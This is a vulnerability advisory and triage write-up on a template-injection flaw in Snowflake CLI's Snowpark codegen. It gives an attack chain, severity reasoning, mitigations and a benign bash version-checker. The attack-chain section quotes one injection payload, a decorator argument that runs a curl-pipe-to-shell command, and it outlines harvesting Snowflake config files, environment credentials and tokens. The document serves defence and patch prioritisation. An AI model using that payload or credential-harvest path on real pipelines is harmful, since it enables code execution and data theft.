A Snowflake build command that trusts the project it's building — and runs whatever the project tells it to
Snowflake CLI's snow snowpark build / nativeapp codegen snowpark pipeline scans Python source for Snowpark decorators (@udf, @sproc, etc.) and writes generator code from a callback template. Prior to 3.19.0, the annotation processor failed to neutralize attacker-controlled values pulled out of those decorators when interpolating them into the generated Python — a textbook CWE-94 template injection. Feed the CLI a Python file whose decorator arguments contain quote-breakouts and you get arbitrary code execution in the context of whoever ran the build. All Snowflake CLI builds < 3.19.0 are affected; 3.19.0 (released 2026-05-26) and later are patched.
Vendor's HIGH/8.8 is honest but slightly inflated by the AV:N tag. There is no listening service here — 'network' really means 'attacker-supplied content reaches the developer's box.' The UI:R requirement (a human or pipeline must actually invoke snow snowpark build) and the narrow installed base (Snowpark developers, not the whole Snowflake user population) argue for a small trim. But the role-multiplier in CI/CD and credentialed dev boxes is what holds this firmly in the HIGH bucket — see below.
5 steps from start to impact.
Plant a poisoned Snowpark project
@udf, @sproc, @vectorized) whose string arguments are crafted to break out of the callback template's string context — e.g., name="x\"); __import__('os').system('curl …|sh'); ('". Tools: any text editor; PoC pattern mirrors known Jinja/format-string injection generators.- Attacker can get a Python file into a path the victim will build
- Victim project uses Snowpark codegen / nativeapp pipeline
- Internal repos with mandatory code review catch the obvious payloads
- Most enterprises pin Snowpark templates to internal forks
Victim runs snow snowpark build or snow app codegen
.py that contains the injected payload verbatim.- Snowflake CLI < 3.19.0 installed
- Build executed against the malicious tree
- Many shops still use the older PyPI
snowflake-snowpark-pythonflow rather than thesnowCLI codegen - Pre-commit hooks rarely block decorator content
python -c / curl|sh child of snow.Generated stub is executed
snow — typically the developer, or the CI runner's service account.- Generated module is imported during build (it is, by design)
- Sandboxed CI (ephemeral containers, read-only FS) limits persistence — does not stop egress
Credential and token harvest
~/.snowflake/config.toml, SNOWFLAKE_* env vars, OAuth refresh tokens, and any AWS/GCP/Azure creds adjacent on the runner. Snowflake creds in particular often carry ACCOUNTADMIN or large warehouse rights for the project's prod account.- Runner has Snowflake credentials in env or on disk (almost always true for Snowpark CI)
- Workload-identity federation (no static creds) eliminates the file-on-disk path
- Snowflake key-pair auth with HSM-resident keys can't be exfiltrated, only abused live
LOGIN_HISTORY + QUERY_HISTORY from unexpected client IDs / IPs is the canonical detection.Pivot — Snowflake data egress or supply-chain push
SELECT * FROM … against production data, creates a malicious external function, or — if the compromised pipeline publishes a Snowpark package internally — implants a second stage in the build output so downstream consumers compromise themselves. This is the classic dev-tool → supply-chain promotion.- Compromised account has read or write on prod schemas, OR the pipeline publishes artifacts others consume
- Snowflake network policies (IP allowlist), MFA-on-token-refresh, and per-role data masking blunt mass egress
pip install --upgrade snowflake-cli in your dev-tooling baseline, brew formula bump, or the CI runner image rebuild. Per noisgate HIGH mitigation SLA, complete within 30 days; remediation (full version pin in lockfiles + image bake) within 180 days.snow snowpark build / snow app codegen from running on untrusted PR content in CI — Until upgrade lands, gate the build step on github.event.pull_request.head.repo.full_name == github.repository (no fork PRs), or run untrusted PRs in a network-isolated sandbox with no Snowflake credentials mounted. Deploy within 30 days of disclosure.SNOWFLAKE_PASSWORD env values; reissue from HSM where possible.CREATE NETWORK POLICY) + MFA on all service users — Caps the blast radius if a token is stolen — exfiltrated creds become useless from an attacker IP.- WAF / IPS rules — there is no network protocol to inspect; the malicious bytes arrive over git or pip.
- Snowflake-side row-level security — does not stop a credential-holder from running queries within their granted scope.
- EDR signatures for CVE-2026-13749 — vendors will not ship a signature for a template-injection class; rely on behavioral (unexpected child of
snow/python) instead. - SAST on the CLI repo — you need SAST on the *projects being built*, with rules targeting decorator-string content.
The supporting signals.
| In-the-wild exploitation | None observed as of 2026-06-30. No KEV entry, no reports from Mandiant/Unit42/Volexity. |
|---|---|
| Public PoC | No public PoC repo at disclosure. The class (template-injection in code-generators) is trivially reproducible — expect community PoCs within 2 weeks. |
| EPSS | Pre-scoring at disclosure; comparable dev-tool RCEs (CVE-2026-6442 Cortex Code CLI) seeded at ~0.15% / 35th percentile and crept up slowly. |
| KEV status | Not KEV-listed (2026-06-30). |
| CVSS v3.1 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H → 8.8 HIGH. UI:R is doing a lot of work — there is no listening service. |
| Affected versions | Snowflake CLI < 3.19.0 (all 1.x, 2.x, 3.0–3.18.x). |
| Fixed version | 3.19.0 (2026-05-26). No distro backports — install via pip install --upgrade snowflake-cli or brew upgrade snowflake-cli. |
| Exposure population | No GreyNoise/Shodan signal (not a network-service bug). Installed base is Snowpark/Native-App developers — a low-thousands of orgs globally, but heavily weighted to data-platform teams with prod Snowflake credentials. |
| Disclosure | 2026-06-29 by Snowflake PSIRT, ~5 weeks after the silent fix shipped in 3.19.0. |
| Reporter | Credit per Snowflake security bulletin (internal discovery or coordinated researcher — confirm on the bulletin page). |
Sources.
- Snowflake CLI 2026 release notes
- Snowflake Security Bulletins
- snowflakedb/snowflake-cli GitHub Releases
- Snowflake CVE landing — OpenCVE
- Snowflake Native App CVE guidance
- Related: CVE-2026-6442 Cortex Code CLI RCE (comparable dev-tool class)
- GHSA mirror for Snowflake CLI advisories
- CWE-94: Improper Control of Generation of Code
Why this verdict
- Vendor baseline fair: 8.8 reflects a real arbitrary-code-execution primitive in a developer pipeline; not inflated.
- Friction adjustment −0.5: UI:R + non-listening service + installed base limited to Snowpark developers narrows realistic exposure vs. a true unauth network RCE.
- Friction adjustment −0.5: Most internal Snowpark projects build from trusted-only source; the malicious-PR vector requires either weak code review or accepting external PRs into the build pipeline.
- Role multiplier — CI/CD runner: Chain succeeds; blast radius is the runner's Snowflake credentials (often ACCOUNTADMIN-equivalent for the project warehouse) and any downstream consumers of the published Snowpark artifact → fleet-scale data egress / supply-chain pivot. This is the floor-setting role.
- Role multiplier — developer workstation: Chain succeeds; blast radius is the developer's local Snowflake config plus any cloud-CLI creds on the box → tenant-scope compromise.
- Role multiplier — analyst laptop running ad-hoc
snow snowpark build: Chain succeeds but blast radius is limited to that user's role-scoped Snowflake credentials, no supply-chain leg.
Why not higher?
Not CRITICAL because (a) no listening network service — exploitation requires the victim to actively build attacker-controlled source, (b) the canonical Snowpark codegen footprint is a fraction of the Snowflake user base, not infrastructure-scale, and (c) no in-the-wild exploitation or public PoC at disclosure. Promote to CRITICAL only if a PoC drops AND your CI builds external-PR content.
Why not lower?
Not MEDIUM because the affected component canonically holds production Snowflake credentials on CI runners and lead-developer workstations; the role-multiplier floor for a credentialed data-plane pipeline is HIGH regardless of how narrow the trigger is. Friction reduces probability, not consequence.
Crowdsourced verification payload.
Run on every developer workstation and CI runner that has Snowflake CLI installed. Invoke as bash check-cve-2026-13749.sh — no root required, just needs snow on PATH (or pip in the same venv).
#!/usr/bin/env bash
# check-cve-2026-13749.sh — Snowflake CLI Snowpark annotation processor RCE
# Exit codes: 0 PATCHED, 1 VULNERABLE, 2 UNKNOWN / not installed
set -u
FIXED_MAJOR=3
FIXED_MINOR=19
FIXED_PATCH=0
ver_raw=""
if command -v snow >/dev/null 2>&1; then
ver_raw="$(snow --version 2>/dev/null | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+' | head -n1)"
fi
if [ -z "$ver_raw" ]; then
# fall back to pip
if command -v pip >/dev/null 2>&1; then
ver_raw="$(pip show snowflake-cli 2>/dev/null | awk '/^Version:/ {print $2}')"
fi
fi
if [ -z "$ver_raw" ]; then
echo "UNKNOWN — Snowflake CLI not detected on this host"
exit 2
fi
IFS='.' read -r MAJ MIN PAT <<<"$ver_raw"
MAJ=${MAJ:-0}; MIN=${MIN:-0}; PAT=${PAT:-0}
vulnerable=0
if [ "$MAJ" -lt "$FIXED_MAJOR" ]; then
vulnerable=1
elif [ "$MAJ" -eq "$FIXED_MAJOR" ] && [ "$MIN" -lt "$FIXED_MINOR" ]; then
vulnerable=1
elif [ "$MAJ" -eq "$FIXED_MAJOR" ] && [ "$MIN" -eq "$FIXED_MINOR" ] && [ "$PAT" -lt "$FIXED_PATCH" ]; then
vulnerable=1
fi
if [ "$vulnerable" -eq 1 ]; then
echo "VULNERABLE — snowflake-cli $ver_raw (< 3.19.0) — CVE-2026-13749"
exit 1
fi
echo "PATCHED — snowflake-cli $ver_raw"
exit 0